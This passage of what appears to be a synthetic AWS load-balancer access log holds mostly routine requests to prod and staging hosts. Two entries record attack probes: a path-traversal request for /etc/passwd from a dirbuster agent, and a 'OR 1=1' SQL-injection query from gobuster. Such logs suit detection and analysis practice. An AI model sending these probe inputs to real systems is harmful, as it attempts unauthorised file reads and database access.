arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d3b2-2b3ee87117e64b2480487e15" "staging-alb.example.com" "-" 4 2024-11-01T02:00:02.606462Z "forward" "-" "-" "182.42.7.190:443" "200" "-" "-" +https 2024-11-01T02:00:03.280535Z prod-api-alb 221.5.114.56:51440 10.0.158.102:443 0.099380 0.361783 0.009053 200 200 173 7021 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d3b3-084847ddf2a042e1883e2e02" "prod-api-alb.example.com" "-" 5 2024-11-01T02:00:03.280535Z "forward" "-" "-" "10.0.158.102:443" "200" "-" "-" +http 2024-11-01T02:00:05.139219Z staging-alb 69.75.5.193:32520 188.67.72.81:8080 0.008287 0.285629 0.035569 404 404 860 11534 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d3b5-35006fd531734e4c9b8758b1" "staging-alb.example.com" "-" 8 2024-11-01T02:00:05.139219Z "forward" "-" "-" "188.67.72.81:8080" "404" "-" "-" +https 2024-11-01T02:00:06.245632Z prod-web-alb 51.101.196.51:16014 10.0.95.169:443 0.019473 0.269706 0.081805 404 404 714 4676 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d3b6-8d50e2a9252e4d4d8170c622" "prod-web-alb.example.com" "-" 1 2024-11-01T02:00:06.245632Z "forward" "-" "-" "10.0.95.169:443" "404" "-" "-" +https 2024-11-01T02:00:07.875990Z staging-alb 172.86.223.151:35119 140.159.161.237:8080 0.062958 0.659217 0.024186 200 200 430 3887 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d3b7-e6bb1e40adbb46f1b27a12a4" "staging-alb.example.com" "-" 6 2024-11-01T02:00:07.875990Z "forward" "-" "-" "140.159.161.237:8080" "200" "-" "-" +https 2024-11-01T02:00:08.553882Z staging-alb 52.179.253.170:40716 37.201.90.23:80 0.100631 0.711177 0.123600 200 200 304 11020 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d3b8-36634e898b4e465399b39495" "staging-alb.example.com" "-" 9 2024-11-01T02:00:08.553882Z "forward" "-" "-" "37.201.90.23:80" "200" "-" "-" +https 2024-11-01T02:00:09.654899Z prod-api-alb 146.174.46.72:25356 10.0.140.71:443 0.071642 0.293872 0.070032 200 200 436 10520 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d3b9-568bd0fe00434c35a6879af7" "prod-api-alb.example.com" "-" 10 2024-11-01T02:00:09.654899Z "forward" "-" "-" "10.0.140.71:443" "200" "-" "-" +https 2024-11-01T02:00:10.864766Z prod-api-alb 9.17.78.210:62393 10.0.111.48:443 0.068091 0.349558 0.025653 200 200 891 4703 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d3ba-e58d2d48cd3e45d1b0d79423" "prod-api-alb.example.com" "-" 10 2024-11-01T02:00:10.864766Z "forward" "-" "-" "10.0.111.48:443" "200" "-" "-" +https 2024-11-01T02:00:12.347008Z staging-alb 181.244.9.251:12179 36.229.9.222:80 0.019829 0.475237 0.035260 200 200 38 10298 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d3bc-cfa1030e7ec1464eb71706e1" "staging-alb.example.com" "-" 2 2024-11-01T02:00:12.347008Z "forward" "-" "-" "36.229.9.222:80" "200" "-" "-" +https 2024-11-01T02:00:13.476499Z prod-api-alb 8.221.60.59:19580 10.0.216.149:443 0.047749 0.116683 0.076299 200 200 56 9089 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d3bd-73d6771c18804407953df698" "prod-api-alb.example.com" "-" 8 2024-11-01T02:00:13.476499Z "forward" "-" "-" "10.0.216.149:443" "200" "-" "-" +http 2024-11-01T02:00:14.828931Z staging-alb 12.41.182.143:13254 88.135.20.198:80 0.055797 0.571877 0.115857 301 301 547 2950 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d3be-b660ef267430457cbc74093b" "staging-alb.example.com" "-" 7 2024-11-01T02:00:14.828931Z "forward" "-" "-" "88.135.20.198:80" "301" "-" "-" +https 2024-11-01T02:00:15.707593Z prod-api-alb 137.32.165.38:50501 10.0.203.152:443 0.013069 0.226565 0.057859 301 301 735 315 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d3bf-511a89b0ffed49469ac2ec55" "prod-api-alb.example.com" "-" 10 2024-11-01T02:00:15.707593Z "forward" "-" "-" "10.0.203.152:443" "301" "-" "-" +https 2024-11-01T02:00:16.648948Z staging-alb 167.127.187.58:31734 192.101.254.45:8080 0.107800 0.161439 0.146556 301 301 790 8423 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d3c0-c8943448eea7401295764b7e" "staging-alb.example.com" "-" 8 2024-11-01T02:00:16.648948Z "forward" "-" "-" "192.101.254.45:8080" "301" "-" "-" +https 2024-11-01T02:00:17.372470Z prod-web-alb 119.26.187.0:40739 10.0.97.175:443 0.041405 0.328377 0.099839 302 302 458 9910 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d3c1-7ae7499ee6f94d7597283896" "prod-web-alb.example.com" "-" 7 2024-11-01T02:00:17.372470Z "forward" "-" "-" "10.0.97.175:443" "302" "-" "-" +https 2024-11-01T02:00:18.357704Z prod-api-alb 18.141.48.118:62231 10.0.195.220:443 0.048600 0.280587 0.050648 404 404 502 1085 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d3c2-c678727a8c76477981665c9d" "prod-api-alb.example.com" "-" 4 2024-11-01T02:00:18.357704Z "forward" "-" "-" "10.0.195.220:443" "404" "-" "-" +https 2024-11-01T02:00:19.261840Z prod-api-alb 23.2.149.18:25755 10.0.55.126:443 0.092590 0.210944 0.001039 200 200 829 10380 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d3c3-da06d11a44b444ccb366c6a7" "prod-api-alb.example.com" "-" 1 2024-11-01T02:00:19.261840Z "forward" "-" "-" "10.0.55.126:443" "200" "-" "-" +https 2024-11-01T02:00:20.167710Z prod-web-alb 242.242.171.156:64369 10.0.212.228:443 0.012140 0.196365 0.031958 302 302 804 13456 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d3c4-ff11d8974a334b2abc50ac40" "prod-web-alb.example.com" "-" 8 2024-11-01T02:00:20.167710Z "forward" "-" "-" "10.0.212.228:443" "302" "-" "-" +https 2024-11-01T02:00:21.037011Z prod-web-alb 249.152.168.142:62976 10.0.47.6:443 0.074150 0.237820 0.039517 200 200 646 6083 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d3c5-6a086e6c86cd4881a202ccc7" "prod-web-alb.example.com" "-" 6 2024-11-01T02:00:21.037011Z "forward" "-" "-" "10.0.47.6:443" "200" "-" "-" +https 2024-11-01T02:00:22.760929Z prod-web-alb 70.14.97.198:24033 10.0.58.123:443 0.034219 0.428097 0.065511 200 200 148 8924 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d3c6-8f255e339a4b4a9498fe20aa" "prod-web-alb.example.com" "-" 6 2024-11-01T02:00:22.760929Z "forward" "-" "-" "10.0.58.123:443" "200" "-" "-" +http 2024-11-01T02:00:23.379365Z staging-alb 25.64.112.156:37856 18.172.198.8:443 0.121385 0.459675 0.120831 302 302 99 10409 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d3c7-28bfb20ed5b84c649e111b43" "staging-alb.example.com" "-" 5 2024-11-01T02:00:23.379365Z "forward" "-" "-" "18.172.198.8:443" "302" "-" "-" +https 2024-11-01T02:00:23.688486Z staging-alb 53.169.20.231:23882 235.43.27.102:8080 0.115696 0.482394 0.057147 404 404 654 8525 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d3c7-218dc80653d4479ca1a64c74" "staging-alb.example.com" "-" 2 2024-11-01T02:00:23.688486Z "forward" "-" "-" "235.43.27.102:8080" "404" "-" "-" +https 2024-11-01T02:00:25.257873Z prod-web-alb 121.40.122.148:46106 10.0.5.231:443 0.062543 0.052722 0.008323 404 404 543 1492 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d3c9-52591ea795ae49c7864e5eb7" "-" "-" 8 2024-11-01T02:00:25.257873Z "forward" "-" "-" "10.0.5.231:443" "404" "-" "-" +https 2024-11-01T02:00:25.435708Z prod-web-alb 16.16.173.110:47526 10.0.246.41:443 0.067758 0.110511 0.082747 200 200 806 11172 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d3c9-64297c162e56438c849a7376" "prod-web-alb.example.com" "-" 9 2024-11-01T02:00:25.435708Z "forward" "-" "-" "10.0.246.41:443" "200" "-" "-" +https 2024-11-01T02:00:27.016144Z prod-api-alb 214.7.232.61:27223 10.0.138.175:443 0.092771 0.126785 0.093135 200 200 89 6018 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d3cb-ba182571a4974ec59b1b7051" "prod-api-alb.example.com" "-" 5 2024-11-01T02:00:27.016144Z "forward" "-" "-" "10.0.138.175:443" "200" "-" "-" +http 2024-11-01T02:00:27.948467Z staging-alb 139.255.125.22:61167 77.187.40.161:8080 0.000995 0.071599 0.117008 404 404 454 14861 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d3cb-9faa27fb71014bcd9ea88287" "staging-alb.example.com" "-" 8 2024-11-01T02:00:27.948467Z "forward" "-" "-" "77.187.40.161:8080" "404" "-" "-" +https 2024-11-01T02:00:28.095768Z staging-alb 242.32.49.77:47137 130.82.237.254:80 0.105813 0.148103 0.114164 200 200 343 13783 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d3cc-d201204dad7245ff93a19dce" "staging-alb.example.com" "-" 8 2024-11-01T02:00:28.095768Z "forward" "-" "-" "130.82.237.254:80" "200" "-" "-" +https 2024-11-01T02:00:30.010401Z prod-web-alb 45.155.205.86:37250 10.0.23.151:443 0.041390 0.231723 0.060147 404 404 515 14785 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d3ce-3ac23b8cc6cd476db5f290b4" "-" "-" 2 2024-11-01T02:00:30.010401Z "forward" "-" "-" "10.0.23.151:443" "404" "-" "-" +https 2024-11-01T02:00:31.299549Z prod-web-alb 59.46.16.113:43746 10.0.34.160:443 0.074620 0.003510 0.020674 302 302 602 7367 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d3cf-a02d54dc95f2490995711374" "prod-web-alb.example.com" "-" 5 2024-11-01T02:00:31.299549Z "forward" "-" "-" "10.0.34.160:443" "302" "-" "-" +https 2024-11-01T02:00:31.836523Z prod-api-alb 255.2.110.64:57456 10.0.32.251:443 0.000237 0.119620 0.064657 301 301 229 12639 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d3cf-23c090184b7541bbabec6023" "prod-api-alb.example.com" "-" 10 2024-11-01T02:00:31.836523Z "forward" "-" "-" "10.0.32.251:443" "301" "-" "-" +https 2024-11-01T02:00:32.816690Z prod-web-alb 182.158.243.84:11897 10.0.85.188:443 0.039803 0.256466 0.010564 200 200 280 8412 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d3d0-d181423a43d74d95bdee69e2" "prod-web-alb.example.com" "-" 5 2024-11-01T02:00:32.816690Z "forward" "-" "-" "10.0.85.188:443" "200" "-" "-" +https 2024-11-01T02:00:34.665524Z prod-api-alb 169.9.31.58:17114 10.0.233.19:443 0.095037 0.049157 0.032174 302 302 296 11913 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d3d2-3466381829aa4396b6a1c2ae" "prod-api-alb.example.com" "-" 5 2024-11-01T02:00:34.665524Z "forward" "-" "-" "10.0.233.19:443" "302" "-" "-" +https 2024-11-01T02:00:35.032477Z prod-web-alb 243.118.74.233:12537 10.0.247.48:443 0.049794 0.444067 0.074221 200 200 105 2962 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d3d3-6d814a8270674423b6dadb7c" "prod-web-alb.example.com" "-" 0 2024-11-01T02:00:35.032477Z "forward" "-" "-" "10.0.247.48:443" "200" "-" "-" +http 2024-11-01T02:00:36.048578Z staging-alb 193.27.228.71:13417 4.252.31.175:8080 0.008018 0.148878 0.031291 403 403 319 14339 "GET /users?id=1 OR 1=1 HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d3d4-e471c6e594844ff88a1c72e5" "-" "-" 5 2024-11-01T02:00:36.048578Z "forward" "-" "-" "4.252.31.175:8080" "403" "-" "-" +http 2024-11-01T02:00:37.131275Z staging-alb 79.148.39.95:31709 31.196.231.19:8080 0.098589 0.627125 0.067479 200 200 89 13659 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d3d5-f5d7af8ffeae44e882228ea9" "staging-alb.example.com" "-" 5 2024-11-01T02:00:37.131275Z "forward" "-" "-" "31.196.231.19:8080" "200" "-" "-" +https 2024-11-01T02:00:37.529843Z prod-web-alb 82.207.155.154:44703 10.0.112.129:443 0.026360 0.065974 0.039680 301 301 856 5867 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d3d5-928c9190b389404eb2382ed4" "prod-web-alb.example.com" "-" 8 2024-11-01T02:00:37.529843Z "forward" "-" "-" "10.0.112.129:443" "301" "-" "-" +https 2024-11-01T02:00:39.323384Z prod-api-alb 38.178.26.125:49709 10.0.129.48:443 0.017694 0.119718 0.036475 301 301 364 6832 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d3d7-709cb74021484978af66b793" "prod-api-alb.example.com" "-" 8 2024-11-01T02:00:39.323384Z "forward" "-" "-" "10.0.129.48:443" "301" "-" "-" +https 2024-11-01T02:00:40.275522Z prod-web-alb 92.248.117.181:55987 10.0.81.68:443 0.056626 0.301419 0.039464 302 302 253 13683 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d3d8-165e91d597bf47f7ba13866f" "prod-web-alb.example.com" "-" 0 2024-11-01T02:00:40.275522Z "forward" "-" "-" "10.0.81.68:443" "302" "-" "-" +https 2024-11-01T02:00:42.013703Z prod-api-alb 30.24.125.135:38146 10.0.198.41:443 0.099067 0.306911 0.087127 301 301 436 13538 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d3da-9ff03a034932413686911cfb" "prod-api-alb.example.com" "-" 4 2024-11-01T02:00:42.013703Z "forward" "-" "-" "10.0.198.41:443" "301" "-" "-" +https 2024-11-01T02:00:43.478631Z prod-api-alb 229.169.132.115:33507 10.0.103.244:443 0.068990 0.480840 0.059582 200 200 999 648 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d3db-51c267d638474c4a8ba9c036" "prod-api-alb.example.com" "-" 9 2024-11-01T02:00:43.478631Z "forward" "-" "-" "10.0.103.244:443" "200" "-" "-" +https 2024-11-01T02:00:43.734449Z prod-web-alb 119.23.102.200:39903 10.0.59.38:443 0.089428 0.163955 0.093749 301 301 963 1763 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d3db-216ff0be2ef14ecd955db833" "prod-web-alb.example.com" "-" 4 2024-11-01T02:00:43.734449Z "forward" "-" "-" "10.0.59.38:443" "301" "-" "-" +http 2024-11-01T02:00:44.666809Z staging-alb 34.108.106.5:20645 73.183.138.77:443 0.018450 0.726257 0.073539 302 302 683 2790 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d3dc-f59955b7ea234dfa87cd17d9" "staging-alb.example.com" "-" 5 2024-11-01T02:00:44.666809Z "forward" "-" "-" "73.183.138.77:443" "302" "-" "-" +https 2024-11-01T02:00:44.857200Z prod-web-alb 67.151.56.31:22675 10.0.41.1:443 0.011161 0.028949 0.013754 200 200 243 8339 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d3dc-34c4d349be78458aae64cde9" "prod-web-alb.example.com" "-" 3 2024-11-01T02:00:44.857200Z "forward" "-" "-" "10.0.41.1:443" "200" "-" "-" +https 2024-11-01T02:00:45.063553Z prod-web-alb 104.236.76.97:29660 10.0.132.8:443 0.051607 0.333542 0.088612 302 302 673 12969 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d3dd-2c42d4292175472ca513c37b" "prod-web-alb.example.com" "-" 8 2024-11-01T02:00:45.063553Z "forward" "-" "-" "10.0.132.8:443" "302" "-" "-" +http 2024-11-01T02:00:46.360029Z staging-alb 107.167.71.126:28248 230.225.55.30:8080 0.012601 0.094695 0.023761 302 302 811 6785 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d3de-9baefd3df55048ad84cf9ff7" "staging-alb.example.com" "-" 1 2024-11-01T02:00:46.360029Z "forward" "-" "-" "230.225.55.30:8080" "302" "-" "-" +http 2024-11-01T02:00:47.664491Z staging-alb 219.198.131.181:56637 42.124.74.91:80 0.134106 0.332516 0.094259 301 301 88 718 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d3df-c219cbffe19748aca9bf1e8f" "staging-alb.example.com" "-" 3 2024-11-01T02:00:47.664491Z "forward" "-" "-" "42.124.74.91:80" "301" "-" "-" +https 2024-11-01T02:00:48.590639Z prod-api-alb 167.254.255.181:26481 10.0.20.63:443 0.046799 0.013866 0.028761 404 404 199 3507 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d3e0-43fb21d8517440de893d7789" "prod-api-alb.example.com" "-" 6 2024-11-01T02:00:48.590639Z "forward" "-" "-" "10.0.20.63:443" "404" "-" "-" +http 2024-11-01T02:00:49.289219Z staging-alb 39.117.214.186:37049 96.16.252.229:8080 0.148349 0.261057 0.125566 200 200 79 13441 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d3e1-e295fe01f68d4ec5a88aa941" "staging-alb.example.com" "-" 5 2024-11-01T02:00:49.289219Z "forward" "-" "-" "96.16.252.229:8080" "200" "-" "-" +https 2024-11-01T02:00:50.439998Z staging-alb 142.156.121.146:28189 230.80.3.80:443 0.108725 0.386794 0.114223 302 302 921 12814 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d3e2-114c2ac106a54074af8e73da" "staging-alb.example.com" "-" 7 2024-11-01T02:00:50.439998Z 